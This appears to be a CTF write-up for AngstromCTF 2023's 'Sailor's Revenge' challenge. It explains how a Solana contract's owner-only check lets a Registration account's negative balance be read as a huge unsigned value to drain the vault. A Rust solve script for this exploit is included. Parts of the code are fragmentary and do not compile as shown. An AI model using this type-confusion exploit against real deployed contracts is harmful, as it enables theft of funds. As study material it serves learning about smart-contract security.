Sailor's Revenge


By: unvariant

Tags: pwn AngstromCTF-2023

Problem Description:

After the sailors were betrayed by their trusty anchor, they rewrote their union smart contract to be anchor-free! They even added a new registration feature so you can show off your union registration on the blockchain!


Reveal Hints None

Time spent figuring out how to compile attack script: ~6 hours Time spent actually exploiting: ~3 hours

Notice that in the strike_pay function they only validate that sailor_union.owner == program_id instead of checking the program address against the public key. The code makes the assumption that only the sailor_union account will have a owner of program_id.

    let sailor_union = next_account_info(iter)?;
    assert!(sailor_union.owner == program_id);

The problem with this assumption is that in the register_member function it creates a new account attached to registration with the owner set to program_id.

            ser_data.len() as u64,
        &[authority.clone(), registration.clone()],

This means we can pass registration instead of sailor_union into the strike_pay function. This is important because in the strike_pay function, they construct a SailorUnion struct from the account data.

pub struct SailorUnion {
   available_funds: u64,
   authority: [u8; 32],
    let mut data = SailorUnion::try_from_slice(&sailor_union.data.borrow())?;
    assert!(&data.authority == authority.key.as_ref());

    if data.available_funds >= amt {
        msg!("data.available_funds: {}", data.available_funds);
        data.available_funds -= amt;
        transfer(&vault, &member, amt, &[&[b"vault", &[vault_bump]]])?;
        data.serialize(&mut &mut *sailor_union.data.borrow_mut())?;

The register_member function serializes a Registration struct into the data field instead of a SailorUnion

pub struct Registration {
    balance: i64,
    member: [u8; 32],
    let ser_data = Registration {
        balance: -100,
        // sailor_union: sailor_union.key.to_bytes(),

The SailorUnion and Registraction structs are extremely similar, differing only by the signedness of the first field. If we pass the registration account into strike_pay instead of sailor_union, it will decode the negative balance in the data as a large u64, passing the check in strike_pay and allowing us to transfer an essentially arbitrary amount of lamports into any writeable account owned by the system.

Solve script
#![cfg(not(feature = "no-entrypoint"))]
use borsh::{BorshDeserialize, BorshSerialize};
use solana_program::{
    account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, instruction::{
    program::invoke, pubkey::Pubkey,
    log::{sol_log_compute_units, sol_log_params, sol_log_slice},
use sailors_revenge::processor::SailorInstruction;

fn process_instruction(
    program_id: &Pubkey,
    accounts: &[AccountInfo],
    instruction_data: &[u8],
) -> ProgramResult {
    // accounts
    /* [0] -> program (sailors_revenge.so)
     * [1] -> user
     * [2] -> vault
     * [3] -> sailor union
     * [4] -> registration
     * [5] -> rich boi
     * [6] -> system program

    // for account in accounts {
    //     msg!("key: {:?}, signer: {:?}", account.key, account.is_signer);
    // }

        msg!("begin strike pay");
        let accs = vec![accounts[4].clone(), accounts[1].clone(), accounts[1].clone(), accounts[2].clone(), accounts[6].clone()];
        let instr_accounts = accs.clone().into_iter().map(|acc| AccountMeta {
            pubkey: *acc.key,
            is_signer: acc.is_signer,
            is_writable: acc.is_writable,
        /* first patch the chall library so SailorInstruction derives BorschSerialize */
        let data = SailorInstruction::StrikePay(100_000_000).try_to_vec()?;

        let strike_pay = Instruction {
            program_id: *accounts[0].key,
            accounts: instr_accounts,

        msg!("issuing strike pay");
        _ = invoke(&strike_pay, &accs);
        msg!("finished invoking strike pay");